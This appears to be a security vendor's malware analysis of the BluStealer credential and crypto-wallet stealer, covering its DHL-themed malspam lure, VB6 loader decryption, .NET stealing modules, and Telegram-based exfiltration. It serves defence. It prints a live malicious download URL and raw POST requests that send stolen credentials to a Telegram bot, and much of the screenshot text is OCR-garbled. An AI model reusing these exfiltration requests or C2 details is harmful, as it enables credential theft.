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GoSecure Titan Labs obtained a sample of the high-profile malware identified as BluStealer
— that can steal credentials, passwords, credit card data, and more. The expert investigators
at Titan Labs developed this detailed analysis that examines the infection vector,
components, methods of exfiltration and capabilities.

This sample of an optical disc image (ISO) file (01d4b90cc7c6281941483e1cccd438b2) from
GoSecure’s Inbox Detection and Response (IDR) team embedded within the ISO file is a 32-
bit executable (6f7302e24899d1c05dcabbc8ec3e84d4) compiled in Visual Basic 6. The
following is an in-depth analysis of the portable executable (PE).

GoSecure Titan Labs obtained a sample of the high-profile malware identified as BluStealer
— that can steal credentials, passwords, credit card data, and more. The expert investigators
at Titan Labs developed this detailed analysis that examines the infection vector,
components, methods of exfiltration and capabilities.

This sample of an optical disc image (ISO) file (01d4b90cc7c6281941483e1cccd438b2) from
GoSecure’s Inbox Detection and Response (IDR) team embedded within the ISO file is a 32-
bit executable (6f7302e24899d1c05dcabbc8ec3e84d4) compiled in Visual Basic 6. The
following is an in-depth analysis of the portable executable (PE).

Analysis

2.0.1 Infection Vector

The initial infection vector is via malspam containing links to cdn.discord.com. Using
Discord’s content delivery network (CDN) as a malware distribution system continues to grow
in popularity among threat actors. The email (1010589761b3051eec33681d0513242a) in this
case, shown in Figure 1, purports to be from DHL Express, stating that a shipment is on the
way and that it can be tracked or changed by clicking the link labelled here, which downloads
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the malicious ISO file from hxxps://cdn][.]discordapp[.Jcom/attachments/
829530662406193185/882109821736865832/Your_DHL_Shipment_Notification.pdf.iso. This
particular campaign does not exclusively use DHL spoofed emails, as emails spoofing other
companies have also been observed dropping the same final payload.

eeeeeeeeee

<
Subject Your DHL Shipment Notification

YOUR SHIPMENT IS ON ITS WAY

Hello Valued customer.,

e sttempted to deliver your ftem

ef3172021 by End of Day.

.————> https://cdn.discordapp.com/attachments/829530662406193185/882109821736865832/Your_DHL_Shipment_Notification.pdf.iso

ack your shipment, click

DELIVERY INFORMATION

Waybill Name . Nl
Shipment details DHL

Scheduled DelveryDate  Tue ;312021

Delivery Tirme Before End of the week

Thank you for using On Demand Delivery.

Deutsche Post DHL Group

DHL Express - Excellence. Simply delivered.

EXCELLENCE. SIMPLY DELIVERED.

e SRRV

Figure 1: Malspam

2.0.2 BluStealer’s Main Component

As displayed in Figure 2, the resource section of the PE contains data with extremely high
entropy, indicating that it is encrypted. This, along with the large size of the resource section,
suggests that the PE is a loader. Examining the resource section reveals two large arrays of
encrypted data contained within a segment of the resource section named CUSTOM.
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X Entropy v ~ D

Offset

Reload
00000000 0007c000

Regions

Offset Size Entropy Status
PE Header 00000000 00001000 0.64990 not packed
Section(0)[.text’] 00001000 00020000 5.95956 not packed
Section{1)['.data’] 00021000 00001000 0.00035 not packed
Section{2)[".rsrc] 00022000 0005a000 7.98442 packed

100,000 200,000 300.000 400,000 500.000 600.000
Figure 2: Packed Resource Section
Opening the PE in x64dbg, we can see that the first instruction at the entry point is a call to
MSVBVM60. ThunRTMain. Executables compiled in VB6 and lower begin with a call to
ThunRTMain, which takes an address as its only argument. This address points to a
structure, beginning with VB5!, that contains information about the given program. At an
offset of 45 bytes, the structure normally contains the address of aSubMain, which is the
program’s main function. However, as displayed in Figure 3, the address in this instance
consists of only null bytes, indicating that the executable had either been obfuscated or had
its compilation routine modified.
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ﬂ unpacked_exe_in_iso.exe - PID: TC0C - Module: unpacked_exe_in_iso.exe - Thread: Main Thread 1E40 - x32dbg

& symbols

File Wew Debug Tracz Plugins Favourites Options  Help  4ug 7 2020
S E 0l Y9l twul =gy L B9
ﬁ CPU |7 Log L Makes ® Breakpaints 8 Memory Map ) call Stack. =5 SEH Le+] Seript
[oDapzAcE £% SC204000 push unpacked_exe_in_iso.40208C
. ES EEFFFFFF call <IMP.&ThunRTMain=
@ || 00402402 ooo add byte ptr ds:[eax],al
®|( 00402204 oooo add byte ptr ds:[eax],al
e || 0040z ADG 0000 add byte ptr ds:[eax],al
® | 00402208 2000 HoF byTe pTr dsi[eax],al
® || 00402 AD4 0000 add byte ptr ds:[eax],al
® || 00402ADC 40 inc eax
@ || o0402ADD 0000 add byte ptr ds:[eax],al
® || 00402 ADF 0000 add byte ptr ds:[eax],al
®|( 00402 AEL 0000 add byte ptr ds:[eax],al
® | 004028E32 00%F 28017437 add byte ptr ds:[edi-e3sBzEDA],C1
® | 00402 AES E4 EF433FB0 7DC3 jmp far C370:BOSF43EF
@ | 00402AF0 8754DF &3 ®chg dword ptr ds:[edi+ebx®3+53] ,edx
® || O0402AF4 0000 add byte ptr ds:[eax],al
@ || 0040zAFE 0000 add byte ptr ds:[eax],al
®|(00402AFS oooo add byte ptr ds:[eax],al
® || 00402 AFA 0100 add dword ptr ds:[eax] ,eax
®|( 00402 AFC o000 add byte ptr ds:[eax],al
® || 00402AFE 0000 add byte ptr ds:[eax],al
@ || 0040zB00 106F 0OC adc byte ptr ds:[edi+C],ch
®|[ 00402803 0350 72 add edx,dward ptr ds:[ea<+72]
®| 00402806 6F out
e | 00402607 665 push &5
®|(00402B09 637421 00 arpl word ptr ds:i[ecx+esi],si
|| 00402 BOD Cl40 00 0% rol dword ptr ds:[eax],s
<

ENCryPoint

edx:"hE-a"

€ source 4 References ' Threads & Hardles #7 Trace
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0013FFCC
EEX 00232000
Egx  OO0402ACE ! E-2
EDX 00402408 'HE-@
EEF  DO13FF30
ESP  OO19FF70 VE-@"
ESI  00402ACE " hE-a@"
EDI  00402ACE " hE-g"
EIF 00402ACD unpacked_exe_in_iso.00402ACD
EFLAGS 0o00D0z4E

ZF21 PE I AEND
OF 0 SF O DF O
£E0 E o JTETL

LastError 00000000 (ERROR_SUCCESS)

Default {stdcally
i1: [es 0040208C Unpacked exe 1H_150.0040208C

<JMF . &ThUNRTMA1 N>

-text:00402AC0 unpac<ed_exe_in_iso.exe:$zacD
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Figure 3: Call to ThunRTMain

Once inside user-defined code, it can be seen that an encryption key is created with a call to
berypt.BCryptGenerateSymm etricKey. Next, an array is created that contains the hex values
1 through 1300. Each element of the array is allotted 16 bytes, as depicted in Figure 4.

2 Durnp 2

Address | Hex ASCIT

0O07E7FODS |01 00 OO0 OO|00 OO0 00 OO(00 OO0 OO0 00|00 00 00 00| e eecncncennns
OO07BY0OES |02 00 00O Q0|00 OO0 00 00|00 00 00 O0|00 o0 00 00| @ eeeananannnnns
QO7BF0OF& |03 00 00O Q0|00 a0 00 00|00 00 00 O0|00 a0 00 00| e eeanananannns
QO07B7108 | 04 OO0 OO0 Q0|00 OO0 00 00|00 00 00 00|00 00 00 00| s eeasnnannnnnnns
OO07BF11& |05 00 OO0 Q0|00 OO0 00 00|00 00 00 o000 00 00 00| @ eeeamanannnnns
OO07B7¥1z2& |06 00 OO0 Q0|00 Q0 00 00|00 OO0 00 Q0|00 a0 00 00| weeeeananannnnns
QOFBYF13& |07 OO0 OO0 Q0|00 QO 00 O0|00 OO0 00 Q0|00 a0 00 00| s esssasasannnnnas
O07B714& |08 00 OO0 Q0|00 OO0 00 00|00 00 00 Q0|00 00 00 OO0 @ eeeananannnnns
0O7B7F15S| 02 00 OO0 00|00 OO0 OO0 OO(00 OO0 OO0 00|00 00 00 00| @eeeeacncncennns
O07BY16E | 0A OO0 OO Q0|00 OO0 00 00|00 OO0 00 Q0|00 o0 00 00| @ eeeananannnnns
OO07BF17& |1 0B OO0 OO0 Q0100 a0 00 o0100 a0 00 aolo0 a0 00 00 4. eeeeananannns
<

g Dump 3

Address | Hex ASCIT

ooFCAa028 | Fe 12 00 00|00 00 00 00|00 00 00 00|00 00 00 00| d. .. e e e e nnnnns
QOAZADZE | F7F 12 00 00|00 00 00 00|00 00 00 0|00 00 00 00| +e e snnasannnnns
O07/ZAD4E | FE 12 00 Q0|00 00 00 O0|00 00 00 O0|00 o0 00 00| @ e caeanannnnns
O0FCAOSE|F2 12 00 0008 00 00 00|00 00 OO0 00|00 00 00 00| 0. ..o enneun.
O0FCAOGS|FA 12 00 00(00 00 00 00|00 00 OO0 00|00 00 00 00| M e eaeeesnsnnns
00FCAOFS|FB 12 00 00|00 00 00 00|00 00 OO0 00|00 00 00 00| D e eeeeeenennns
0O07CADSS|FC 12 00 00|00 OO0 00 OO(00 OO0 OO0 00|00 00 00 OO0 |0 eeeeecncennas
O0AZAD9E  FOD 12 00 Q0|00 00 00 00|00 Qo0 00 ao|o0 o0 0o oo ? ...............
007CA0AS(FE 12 00 00|00 Q0 00 00|00 00 Q0 00|00 00 00 00| P. e eeeeeennanns
007CAO0BS|(FF 12 00 00|00 00 00 00|00 00 OO0 00|00 00 00 00| %.seasnassnnanns
007CADCE (00 13 00 00|00 00 00 00j00 00 00 0000 00 00 00| ... eeeeaeennanns
£

Figure 4:

Initialized Array
Using the encryption key that was created previously, the malware encrypts the newly

initialized array with a call to bcrypt.BCryptEncrypt. These encrypted bytes will be used as
XOR keys, and are shown in Figure 5.
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Figure 5: XOR Keys
The malware then loads the first array of ciphertext from its resource section into memory
and proceeds to decrypt it. As can be observed from the decryption routine, depicted in
Figure 6, a byte from the ciphertext, pointed to by the address stored in the ESI register, is
moved into the BL register. This value is then XORed with a XOR key, pointed to by the
address stored in the EAX register. The resulting value is then moved back to its original
place in the ciphertext array. The pointers to both the ciphertext and XOR keys are
incremented by one and the process continues in a loop until the ciphertext is fully
decrypted.
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ﬁ CPU L. Log | | Motes ® Breakpoints W8 Memory Map [ Call Stack. = SEH %2 Script ‘E}Symbols <> Source - References W Threads ‘;J Handles
~ EB 1E jmp unpacked_exe_in_iso. 414431 A
8BBS 34FFFFFF mov eax ,dword prr 5;.[~Lp CC
8B40 2C mov eax c!ward ptr ds:[eax+2C
0385 20FFFFFF add eax,dwor‘d ptr ss = ot o pa"
v DF20 28030000 jo unpacked_exe_in_i £ -
8BS0 I4FFFTFF mov ec,dword ptr ECX r_m_m 120
8941 2C mov dward ptr ds EDX 00000003
8B85 34FFFTFF Mo e, dword prross:[e EBP  0019F453
8B40 2C mov eax,dword ptr ds ESE el d
385 1CFFFFFF cmp ea< , dword ptr ss:fe
v 7F 4A jag unpal:ked exe_in, I ] T O
FF75 ES push dword ptr ss
8B45 0OC mov eax ,dword ptr s :
FF30 push hnd ptr ds:[eax] EIF  0D04144E3 unpacked_exe_in_iso.004144E8
ggFéFESFEFr ;glle:3M:at _vbaDerefaryls TREERE e
BBES I4FFFFFF mov eax ,dword ptr 2ZF 0 PF1 AF 0
FF70 2C push dword ptr ds OF 0 SF O DFO
8B85 34FFFTFF mov eax ,dword ptr CFO0O TF1 IF1
FF70 28 push dword ptr ds:[eax
Ee-liERERED Lall CINE . SeuhAlECE LastError 00000000 (ERROR_SUCCESS)
SALE mov bl ,byte ptr d | astetarus ~OANANTS FSTATIS WO THkKENY
3218 xor bl,byte ptr d Defaul(stdcal)
8B45 0OC 1: [esptd] 0019F7A4
FF30 2: [esp+8] O04095FF "o pa"
g P Ahane 8 3t [esp+C] 00000000
8813 wnv & prr de: eax bl 4: [esp+l0] 00000000
TEd z Ean,dWOre pLr teilern- 18] 5: [esp+14] 00000000
83C0 01 add eax )1 §= {e59+§g] gggggggg
v OF80 09020300 jo unpacked_exe_in_is0.4147E0 i [esp+
8945 EE mov dword ptr ss:febp-1s],eax &: [esp+20] 00000000
~ EB 87 jmp unpacked_exe_1n_iso.414433 9: [esp+24] 00000000
83AE 34FFFFFF 00 and dword ptr ss:Febp-CCll,c v
> <
$Woump!  @Woump4  EMDumps @ watch1l  Ix-llocals 5 Struck 8% Dump 2
Address | Hex Asc:: Hex ASCIT
10 10 30 61|02 3C 85 22|66 30 58 13|95 BO 35 54 4 *5T 007B7008§5D 44 A0 61|01 3C 85 2262 30 56 13 |6A 4F 39 54 ]3 EETS ﬂD
20 BO 09 1B|S7 BC 28 74|8F B2 F5 CD|FB 01 CA B6 Xx(t SIE ET\ DO7EYUES| 88 BO 05 1B |97 BC 238 ?‘4|CF 32 F5 CD|FB 01 CA BG LH(LI=OTh.EY
007CA100| 02 30 9E 7D|6F 48 66 81|CE B4 96 Bl 4F D1 98 44 JJHf 1’.40f.0| DD7EB7O0F3| 03 30 9E 70| &F 48 66 81 |CE B4 96 Bl|4F D1 98 44 .0.joHE. T’ -20R.0
007CA110| 68 58 34 57 B2 SC D4 AC|11 5D 50 35|94 ES A3 OE| i w=.0-. ]PS e: 007B7108| 68 58 3A 57 B2 9C D4 AC|11 50 50 35|14 ES A3 OE|FiXiw=.0n.]P3.6%.
007CA120|ES ES 52 CA|CS AA 77 54|75 04 AQ EB|33 05 3¢ 06| AAREE3wTy. &. 00787118 |EB FA ES C4|C9 1E 7E 99|58 3C Al A4 |SE 24 68 6E BUEAE , ~. 336 jRASHN
007CAL130[AC 74 E4 6A|57 D3 F6 AC|05 6E C2 C9|70 38 F1 83 |-t&jwdd-. nAEEBﬁ 007B7128|C5 07 C4 1A[25 BC 91 DE|64 03 E2 AA|1l 56 9F EC|A.A.s%.pd.82.v.3

Figure 6: Decryption Routine
The decrypted ciphertext yields a PE. As shown in Figure 7, the malware loads the PE with a
call to user32.CallWindowProcW, with
C:\Windows\Microsoft. NET\Framework\v4.0.30319\AppLaunch.exe as its second argument
and the PE’s address as its third. In this manner, the PE is executed with AppLaunch.exe,
which is a Microsoft .NET launch utility. This confirms our suspicions that the malware is
indeed a loader.
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8 cru  Log 4 Mokes #® Breakpoints [ Memory Map [ call stack 1 SEH 143 Seripk b= < Snurce + References 'S Threads E Handles €7 Trace

4E4 SEFF may edi,edi CalTwindowProcw | .
"4=44782 44 push ebp
. ;353:;2; SEEE o i :Eg:gsn EAX  F4E44780 gusersz. .CallwindowProcks
o||74Ea4788 57 push edi EBX  O04025FF e
o|| 74E44752 8670 08 mow edi,dword ptr ss:febpra] ECX  74E44730 <“SE’"32 CallwindowpProcht
o || 74E4dTEC SEFF test edi,edi EDX 00000021
--e| 74E4475E| v OF84 C4000000 je user3z.74E44855 EEP  OOL3F&4C
o || 74E44754 3BCT mov eax,edi ESP  O0LSF32C
o 74E447 96 53 push etbx ehx:'te  pa ESI [alul={=1=14uli} T
@ F4E44T7IT 8BS0 10 moy et ,dword ptr o s5:[ebp+lo] [ebp+a0] :"hait EDL O019F G4
o|| 74E44T A 25 DOOOFFFF and eax ,FFFFO000
®| F4E44TIF 14 push esi esiz" " eN" 3
= 2t TE RRERER tmp e ,FFFFO000 EIF F4E44780 =zuseriz.callwindowProchs
---------- o|| 74E447AE| v 74 GE je useriz.74E44815
o|| 7aE4a7AT G4:al 18000000 mov eax,dword ptr Bl [16] EELRG S, . UL Reck
ol 74E4472D 3B8% DCOFO0O0OO mow ecx,dword ptr ds:[eax+FOC] ZF 1 PF 1 AF O
of 7FaE447E2 8509 TEST BCK,BCK OF 0 SF O DF O
--#| 74E447ES ~ 79 02 ins user3z.74E447B9 CF O TFO IF1
& 7AE447ET 03C1 add eax,ecx
-oe| 74E447E 3B75 0C mow esi,dword ptr ss:febprc] o Default {stdcall)
8 F4E44TEC 8EF& test as1 esi esdat eyt (=
--------- o|| 74E4a7BE| v 74 48 i userid.raEaazog -
@ F4E447C0 3BEO0 40080000 cmp esi,dword ptr ds:[eax+540]
--s| 74E447CE| v 75 40 jne useraz.7aE44z08 :
®| F4E447CE 8E9% 43080000 moy ebx,dword ptr ds:[eax+343] E: [esp+ld] gggoooou
@ 74E447CE 8B90 4C050000 moy eds,dword ptr o ds: [eaxiS4C]
@ 74E44704 S8BCE moy ecx,ehx
®| F4E44T0E DBCA or Bk, fdx
8| 7acaarnal . 34 37 iE ncARIY TAE442E1
5 <
44 Dump 1 e Dump 3 B4 Dump 4 B Dump 5 & watch 1 |x=] Locals P Strug/ B Dump 2 U
Address | UNICODE I“/ address |H
0066500 [C:windows M1cr‘nsoft NE%;Fr‘amewor‘k . 0.30315%Applaunch. exe O0GAS3FS 140 54 0 OO 02 OO0 OO0 00|04 00 00 00 FF FF OO0 00
0066815C 3y TT4SUVETDGA. L. . gUFHASOEUTIFH 005645408 |BG 00 00 00({00 00 00 00(40 00 00 00(00 00 00 00,
0066810C | v . Tzl.m.6td. b, x. mc A5joz.@<-UDS.2. L @05..... - DODI IFHHDTT oosaz412]00 00 00 0o|oo 0o oo oo|oo oo oo ooloo oo oo ool ...
0066525C | 747GERHFNNFEGGF ] RKIKER 143 5488 THETHTIMNES ITIGHATE YW I U4E VETU O0éAs425 |00 00 OO 00|00 OO0 0O 00|00 OO0 OO0 00|80 OO0 0O 0O
O00E6320C | 1122405T T f 00643438 |0E 1F BA OE |00 B4 0% CD|21 BS 01 4C|CD 21 54 5. A |
0065835C| .d.h.d. .. f. 1. d-g-f-f------;-- 00648448 |65 73 20 70|72 6F 67 72|61 60 20 63 |61 6E GE F |15 pmgram canno
006633D0C Lovke al@ i.F u§u 5 00545456 |74 20 62 65|20 72 75 6E(20 69 6E 20(44 4F 53 20|t be run in DOS
0086845C | .. av' . I2im. ftd. bux. S Asjbz. @< uDs. 2, av 00648468 |60 6F G4 65 (2E 0D 0D 0A[24 00 00 00[00 00 00 00 |mode....$.......
00668408 iarea S OLECATGS2 065 0EAL2EOAFEAATEIZT14, 1 ey O0EAS47E e 45 o0 noleac 01 03 00l0c E4 E3 0alon oo oo ool FE. L a0

Figure 7: Call to CallWindowProcW

2.0.3 ChromeRecovery.exe Stealing Module

Figure 8 displays the loaded PE, a 32-bit .NET assembly with the internal name
ChromeRecovery.exe and the MD5 hash 53e09987f7b648fb5¢c594734a8f7c4e4, opened in
dnSpy, a .NET debugger and decompiler. ChromeRecovery.exe begins by gathering system
information, such as the computer name, username, Windows version, antivirus solution,
CPU name, GPU name, the amount of RAM, internal IP, and external IP. This information is
written to C:\Users\<username> \AppData \Roaming \Microsoft \Windows \Templates
\credentials.txt. It steals login credentials and credit card data from numerous web browsers,
such as Chrome, Edge, FireFox, Opera, and Yandex, by targeting the Cookies and Web
Data caches. It also steals login credentials from Pidgin, NordVPN, SQLite, FileZilla and
CoreFTP, and numerous email clients, such as Outlook, ThunderBird, and Foxmail. It
appends all data to credentials.txt. Also depicted in Figure 8 is the format in which stolen
credentials are written. Contained within ChromeRecovery.exe’s resource section is a 32-bit
.Net assembly with the internal name ConsoleApp8.exe
(4509c33c251e8e075e4aa95001e35cdf), which is saved to the Templates directory,
executed and then deleted. ConsoleApp8.exe steals credentials from Windows Vault and
WinSCP and appends them to credentials.txt. One of our file detection signatures entitled
malware_blustealer 0, listed below in the Detections section, alerted on
ChromeRecovery.exe as BluStealer. Interestingly, the malware sample that the signature
was based on was a 32-bit VB6-compiled executable
(a1329dab78d5bac41e39034d840c30f1), analyzed in June of this year. Comparing both
samples, we found that BluStealer’s full functionality was originally contained within a single
PE file. However, it would appear as though BluStealer's authors have opted for a more
modular malware, spreading its functionality, as well as enhancing it, across multiple
binaries.
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Figure 8: Chr meRecovry.exe Credential Stealing Module

3

2.0.4 ThunderFox.exe Stealing Module

When execution is transferred back to the loader, it loads the second array of ciphertext from
its resource section into memory and proceeds to decrypt it in the exact same manner as it
employed with the first one. This also results in a 32-bit .NET assembly
(00cdcfc91db339be14f441be75e0dec7?), which is also loaded with AppLaunch.exe via
user32.CallWindowProcW. Opening the file, internally named 5.exe, in dnSpy reveals that it
decompresses the file entitled app from its resource section and reflectively loads it via a call
to MethodBase.Invoke, as shown in Figure 9.
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Figure 9: 5.exe

The decompressed file is yet another 32-bit .NET Assembly
(6ae510da968ebcbf5a8661c080ac12fd). Its name, Thunder-Fox.exe, is an amalgamation of
ThunderBird and FireFox since it targets Mozilla products, which also includes Waterfox, K-
Meleon, IceDragon, Cyberfox, BlackHawK, Pale Moon. These products are also targeted by
ChromeRecovery.exe but in a different manner. As depicted in Figure 10, ThunderFox
extracts login credentials from logins.json, key4.db, signons.sqlite, and key3.db. logins.json
stores encrypted passwords for Mozilla products, while key4.db is the Network Security
Services (NSS) key database used to store Mozilla encryption data, which is required to
decrypt the encrypted passwords in logins.json. signons.sqlite and key3.db have the same
functionality just described but are used with legacy versions of Mozilla products. The stolen

data is formatted the same as with ChromeRecovery and is also appended to credentials.txt.
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Flgure 10: ThunderFox Credentlals Stealing Module

2.0.5 Exfiltration Traffic

Once ThunderFox is finished and execution is transferred back to BluStealer’s main module,
it makes a call to winhttp. WinHttpConnect, which returns a connection handle to an HTTP
session. As displayed in Figure 11, the second argument, specifying the target server, is
api.telegram.org, which is being used as BluStealer's C2 infrastructure.

SE =il T 9§ twul 2P s EE
E CPU |t Log L Motes ® EBreakpoints Memary Map [ Call Stack =7 SEH Le2| Script & Symbols <2 source R
B TIFZIEBTA CC int3 A
e 71F23E7E oC int3
F> 1

e|7iFoiern| & inea EAX 00000000
o 7iFz3E7E (afe inta EBx  OOFEZ0CH
of| F1F23E7F (= ints3 ECx  000000lo

S EGEEEER SEFF moy edi edi inHttpConnect EDN oooooooo
e F1Fz3ES2 cg push ebp EEP 0019F05C
allFaF23B832 SBEC mow ebp esp S T
®|| 7lF23ESS S1EC 2CO0A0000 sub esp,ASC Default (stdcally
| 71F23BEB Al F4DO0FAFL mow eax dward ptr ds: [FLIFADOF4] 9 [ecrnadl O7dECCoD
®|7F1F23B590 J3CE xor eax,ebp 2! [esp+s DD?DBlCD]
e 71F23B592 8945 FC mow dword ptr ss:[ebp-4] ,eax T ESpie] DUOO0IED
|| F1F23E3S SE4D 0% moy ecx,dward prtr ssi[ebp+s] w | 4 [esp+10] oooooooo
|| 71F23Ras 1100 WO PAW L RAY

< > <

ot Dump 1

[ LL] Dum|: 2

By Dump 3 2l Durny * wWatch 1 Ix=] Locals f’ Struct

Flgure 11: CaII to wmhttp.WlnHttpConnect

The Final POST request and response from its C2 server can be viewed in Figure 12 and
Figure 13, respectively. The request’s URL begins with the BotID
1901905375:AAFoPAvBxaWxmDiYbdJWH-OdsUuObDY0pjs, followed by the directory
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entitled sendDocument with the arguments chat_id and caption. The value of caption is the
name of the text document containing the stolen information, followed by the delimiter :::, and
the victim’s computer name and username.

POST /bot1901905375: AAFOPAvBxawxmDiYbdJIWH-0dsUuObDY®pjs/sendDocument?chat_id=1997571710&caption=credentials.txt:: :DESKTOP-8771B1R\malware HTTP/1.1
Accept: */*

Content-Type: multipart/form-data; boundary=3fbde4f5-bled-4060-99b9-fca7ff59c113

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.@; Windows NT 6.2; WOW64; Trident/7.@; .NET4.0C; .NET4.8E; InfoPath.3)

[Host: api.telegram.org]

Content-Length: 4555 \ Telegram

Connection: Keep-Alive

Cache-Control: no-cache ha om0k )

--3fbdeafs-biled-4066-99b9-fca7ff59c113
Content-Disposition: form-data; name="document"; filename="credentials.txt"
Content-Type: application/octet-stream

Date: 2021-09-08 11:04:41 AM

System: Microsoft Windows NT 6.3.9600.0 (64 Bit)
Username: malware System
CompName : DESKTOP-8771B1R =z} o
Windows Version: Microsoft Windows 10 Pro - 64-bit Proflllng
Antivirus: Windows Defender. Inf s
CPU: Common KVM processor nformation
GPU: Red Hat QXL controller
RAM: 4095MB

Internal IP: 10.0.6.4
External IP: 184.75.223.195

Url: https://signup.live.com/

Username: zipp3r2i@hotmail.com R

Password: Fakepass - —_ Exfiltrated
iApplication: Edge Chromium Credentials

Url: https://signup.live.com/
Username: zipp3r2i@hotmail.com
Password: Fakepass
Application: IE10/EDGE

Figure 12: Multipart/Form-Data Credentials Exfiltration

--3fbde4f5-bled-4060-99b9-fca7ff59c113--HTTP/1.1 200 OK

Server: nginx/1.18.0

Date: Wed, @8 Sep 2021 15:26:35 GMT

Content-Type: application/json

Content-Length: 474

Connection: keep-alive

Strict-Transport-Security: max-age=315360080; includeSubDemains; preload
Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, OPTIONS

Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

{"ok":true, "result": {"message_id":373,"from":{"id":1961965375, "is_bot":true, "first_name":"Vladmir", "username"”:"Vladmiri23bot"}, "chat":
{"id":1997571710, "first_name":"Alvin Peter", "type":"private"}, "date":1631114795, "document" :

{"file name":"credentials.txt", "mime type":"text/plain","file id":"BQACAQQAAXKDAAIBdWE41iu-
CZFKsKX2deTL13pKzmOeAAIWCWACXRbIUSaajoC3BiluIAQ", "file_unique_id":"AgADcAsAASUWYFE", "file size":

1681}, "caption":"credentials. txt:: :DESKTOP-8771B1R\\malware"}}

Figure 13: C2 Response

BluStealer sends another HTTP POST request, which unlike the first one, is not of the
Content-Type multipart/form-data. As observed in Figure 14, it sends the stolen data as in
the first request. However, the URL is different from that of the first one, as it ends in the
directory sendMessage instead of sendDocument and is without arguments. Moreover, the
victim’s computer name and username are now contained within the text parameter and
follow the value Passwords. It should be noted that the network traffic from BluStealer's June
sample shares many similarities with the present sample. However, it is sent over Simple
Mail Transfer Protocol (SMTP) rather than HTTP.
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POST /bot1901905375: AAFoPAVBxaWxmDiYbdJWH-0dsUuObDY@pjs/sendMessage HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 1744

Host: api.telegram.org

text=Passwords: ::DESKTOP-87Y71B1R\malware

Date: 2821-89-82 12:35:59 PM

System: Microsoft Windows NT 6.3.9600.8 (64 Bit)
Username: malware

CompName: DESKTOP-B771B1R

Windows Version: Microsoft Windows 18 Pro - 64-bit
Antivirus: Windows Defender.

CPU: Common KVM processor

GPU: Red Hat QXL controller

RAM: A0935MB

Internal IP: 10.8.6.4

External IP: 184.75.223.195

Url: https://signup.live.com/
Username: zlpp3r2i@hotmail.com
Password: Fakepass
Application: Edge Chromium

Figure 14: Credentials Exfiltration

2.0.6 BluStealer’s Main Component’s Stealing Capabilities

Besides the ability to load stealing modules and exfiltrate data, the main component also
comes with its own stealing capabilities. As shown in Figure 15, it makes a call to
msvbvm®60.rtcDir, an undocumented VB runtime function that returns file names from a
directory. The directory being inquired about is Zcash, which is a cryptocurrency.

& cru | Llog |1 Motes ® Freakpoints B8 Memaory Map [ call Skack. =3 SEH Ltz Seripk &) symbols <> Source J-' References 'S Threads Eo
® |EF0ADLCE 13 push ebp rtcoir ~ Shov
® (GF0ADLCE SBEC mow ebp,esp
®GF0ADLDL S3EC 10 sub esp,10 00150008
®|GF0ADLD4S 56 push es1 e
®|5F0A0LDS 57 push edi ERi CRURUARER ]
®EF0ADLDE FF35 34461A6F push dword ptr ds:[sFled4e34] ECx 00000000
& |cFOoL0100 FF1E 731208&F £all dword ptr de:[-£Tlscetvaluex] ELx 00545304
® |EFO0A0LEZ 6618365 FO 00 and word ptr ss:febp-1c],0 EEFP 0013F&AD
® |GF0A0LET 3078 50 Jea edi,dword ptr ds:[eax+50] ESP  0O013F&S0
® |EF0A01EA 5045 FO lea eax,dword ptr ss:febp-10] ESI 0015F&90
® |GF0ADLED 50 push eax EDI O04BAELS
® (GFOADLEE FF7S 0% pu?_h dword ptr ss:[ebp+a]
® |GF0A0LFL ES S3BSFFFF Ea1T mswbwmen. SFOSEF7S
b ettt St TR EIF  &F0A0Z20 mswbvimE D, EF0ADZ 20
® |GF0ADLFS [A3:1=1i1 mow & word ptr ds:i[esi]

o |EFOADLFE 66130 0A00 cmp ax A Arthnt ERRaGS Atbdizae
———————— ® [ GF0ADLFF ~ 0OF84 12360700 je mswbwmEo, SFL19817 <
®[GF0&A0205 33C3 XOr BCX,ECx
o |cFOa0z 07 £6:185C test cx,cx Default {stdcall)
——————— ®|GF0A0204| ~ OFSE 1C3&60700 jne mswbwmen.eF11982C Ll 3 1
®|EF0ADZL0 £6:30 0800 cmp A%, S 2: [esp+4] 0OS48504 l
----- ®GFOADZ14 ~ OF85 23260700 jne mswbvmen.eF1l19830
& GFO0ADZ LA FF7& 05 push dword ptr ds:[esi+s] esi+g:0OuT"
B ®|5F0A0210 FF75 0C push dword ptr ss:[ebp+c]
[E TF gy 1 ES 11000000 CalT mswvbvmen. EFOADZZE
| e L ®Er0ADZ25 GOCr mov oo yedi e
R . > |«

4% Dump 1 @ Dump 2 B4 Dump 3 B Dump 4 @y Dump 5 B8 watch 1 I==] Locals ,;;J Skruct

addre N
00543304 | C:

ooEEe
00548404
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Figure 15: Cryptocurreny Query

Figure 16 portrays all the processes, captured by Process Monitor, that query cryptocurrency

folders. The cryptocurrency wallets targeted include Zcash, Armory, Bytecoin, Jaxx Liberty,
Exodus, Ethereum, Electrum, Guarda, and Coinomi.

£F Process Manitar - Sysinternals: wnsnssysinternals.cam

File Edit Ewent

Filter Taools

Options

Help

FH ABE|AS B AR HABL2M

Time of Day

12:30:29.1533307 P
12:30:29.1600547 P
12:30:29.1601 359 P
12:30:29.1605028 P
12:30:29.1606859 P
12:30:29.1607970 P
12:30:29.1611447 P
12:30:29.1613389 PM
1230291617353 PM
12:30:29.1620860 P
12:30:29.1623638 PM
12:30:29.1626444 P
12:30:29.1628866 PM
12:30:29.1630535 P
12:30:29.1631969 P
12:30:29.1633748 PM
12:30:29.16364595 P
12:30:29.1633007 P
12:30:29.16401 25 P

Process Name

[ unpacked _exs..
[ unpacked_exs..
[ unpacked_exs..
[ unpacked_exs..
[ unpacked exs..
[ unpacked_exs..
[ unpacked_exs..
[ unpacked _exs..
[ unpacked _exs..
[ unpacked_exs..
[ unpacked_exs..
[y unpacked_exs..
[ unpacked exs..
[ unpacked_exs..
[ unpacked_exs..
[ unpacked_exs..
[ unpacked _exs..
[ unpacked_exs..
[ unpacked_exs..

FID  Operation

7844 Bh CreateFile
744 BaﬂueryDirectory
7844 [Eh CloseFile
7844 [Bh CreateFile
To44 BaﬂueryDirectory
7844 A CloseFile
7844 [Bh CreateFile
744 aaﬂueryDirectory
7844 Eh CloseFile
7844 b CreateFile
7844 [Bh CreateFile
7844 b Creat=File
7844 (b CreateFile
